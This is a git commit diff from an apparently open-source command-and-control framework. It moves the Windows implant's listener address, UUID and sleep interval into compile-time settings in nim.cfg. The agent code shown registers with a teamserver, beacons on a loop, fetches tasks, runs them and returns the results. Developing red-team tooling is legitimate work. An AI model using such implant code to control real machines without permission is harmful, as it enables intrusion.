Agent utilizes configuration file (nim.cfg) and compile-time variables for listener information.

This commit is contained in:
Jakob Friedl
2025-05-24 13:56:26 +02:00
parent 5fe13fef94
commit ac0bb3c915
9 changed files with 47 additions and 19 deletions

3
.gitignore vendored
View File

@@ -2,8 +2,7 @@
# agents/
*.db
# Ignore binaries
*/bin/*
server/server
bin/*
*.exe
# Nim

View File

@@ -1,3 +1,4 @@
#!/bin/bash
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim

View File

@@ -4,6 +4,11 @@ import winim
import ./[types, http, task]
import commands/shell
const ListenerUuid {.strdefine.}: string = ""
const ListenerIp {.strdefine.}: string = ""
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() =
#[
@@ -14,10 +19,21 @@ proc main() =
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# TODO: Read data from configuration file
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration."
quit(0)
let listener = "HVVOGEOM"
let agent = register(listener)
let config = AgentConfig(
listener: ListenerUuid,
ip: ListenerIp,
port: ListenerPort,
sleep: SleepDelay
)
let agent = config.register()
echo fmt"[+] [{agent}] Agent registered."
#[
@@ -30,13 +46,13 @@ proc main() =
]#
while true:
sleep(10 * 1000)
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent
let tasks: seq[Task] = getTasks(listener, agent)
let tasks: seq[Task] = config.getTasks(agent)
if tasks.len <= 0:
echo "[*] No tasks to execute."
@@ -45,7 +61,7 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
let result = task.handleTask()
discard postResults(listener, agent, result)
discard config.postResults(agent, result)
when isMainModule:
main()

View File

@@ -2,7 +2,7 @@ import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
proc register*(listener: string): string =
proc register*(config: AgentConfig): string =
let client = newAsyncHttpClient()
@@ -24,20 +24,20 @@ proc register*(listener: string): string =
try:
# Register agent to the Conquest server
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
proc getTasks*(listener: string, agent: string): seq[Task] =
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
let client = newAsyncHttpClient()
try:
# Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task])
except CatchableError as err:
@@ -48,7 +48,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
return @[]
proc postResults*(listener, agent: string, task: Task): bool =
proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
let client = newAsyncHttpClient()
@@ -61,7 +61,7 @@ proc postResults*(listener, agent: string, task: Task): bool =
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: ", err.msg

5
agents/monarch/nim.cfg Normal file
View File

@@ -0,0 +1,5 @@
# Agent configuration
-d:ListenerUuid="HVVOGEOM"
-d:ListenerIp="localhost"
-d:ListenerPort=5555
-d:SleepDelay=10

View File

@@ -46,3 +46,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
wProductType*: UCHAR
wReserved*: UCHAR
type
AgentConfig* = object
listener*: string
ip*: string
port*: int
sleep*: int

View File

@@ -1,4 +1,4 @@
# Compiler flags
--threads:on
-d:httpxServerName="nginx"
#--outdir:"../bin"
--outdir:"../bin"

View File

@@ -125,7 +125,8 @@ proc main() =
setControlCHook(exit)
# Initialize framework
cq = initConquest()
let dbPath: string = "../server/db/conquest.db"
cq = initConquest(dbPath)
# Print header
cq.header()

View File

@@ -135,11 +135,11 @@ proc delListener*(cq: Conquest, listenerName: string) =
proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName)
proc initConquest*(): Conquest =
proc initConquest*(dbPath: string): Conquest =
var cq = new Conquest
var prompt = Prompt.init()
cq.prompt = prompt
cq.dbPath = "db/conquest.db"
cq.dbPath = dbPath
cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil